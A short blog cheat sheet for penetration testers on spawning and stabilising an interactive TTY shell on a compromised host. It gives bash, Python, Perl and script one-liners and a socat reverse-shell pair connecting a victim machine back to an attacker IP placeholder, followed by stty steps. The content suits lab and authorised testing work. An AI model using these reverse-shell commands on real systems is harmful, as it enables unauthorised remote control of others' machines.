Adithyan's Blog
Search…
Spawn TTY
Bash
/bin/bash -i
echo os.system('/bin/bash')
/bin/sh -i
Python
python -c "import pty; pty.spawn('/bin/bash')"
Perl
perl -e 'exec "/bin/bash";'
Socat
On the attacker machine, set up socat listener: replace 4444 with your listening port.
socat -,raw,echo=0 tcp-listen:4444
On the victim machine, connect back the attacker machine and spawn a shell. Replace <host> with attacker IP and <port> with attacker listing port.
$ socat exec:"/bin/bash -li",pty,stderr,setsid,sigint,sane tcp:<host>:<port>
Misc
/usr/bin/script -qc /bin/bash /dev/null
/usr/bin/expect sh
Interactive TTY
  • Backgrounding the remote shell with CTRL-Z:
  • Getting ROWS and COLS within current terminal window:
[email protected]:~$ stty -a | head -n1 | cut -d ';' -f 2-3 | cut -b2- | sed 's/; /\n/'
  • Ignoring hotkeys in the local shell and getting back to the remote:
[email protected]:~$ stty raw -echo; fg
  • Setting correct size for the remote shell (where ROWS and COLS are the values from the 3rd bullet):
[email protected]:~$ stty rows ROWS cols COLS
  • Adding some colors:
[email protected]:~$ export TERM=xterm-256color
  • Reloading bash to apply the TERM variable:
[email protected]:~$ exec /bin/bash
Copy link